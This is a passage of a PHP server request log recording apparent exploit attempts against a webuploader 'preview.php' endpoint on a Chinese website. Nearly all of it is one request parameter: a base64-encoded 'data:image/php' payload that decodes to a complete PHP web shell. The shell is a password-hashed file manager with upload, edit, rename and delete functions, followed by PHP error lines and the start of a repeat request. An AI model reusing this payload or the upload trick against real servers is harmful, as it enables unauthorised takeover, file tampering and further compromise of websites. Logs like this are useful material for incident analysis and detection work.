'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:58+08:00 ] 119.42.146.234 POST 51tianwei.com/viagraedit/webuploader/0.1.5/server/preview.php [运行时间:0.002646s] [吞吐率:377.93req/s] [内存消耗:196.71kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'viagraedit', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 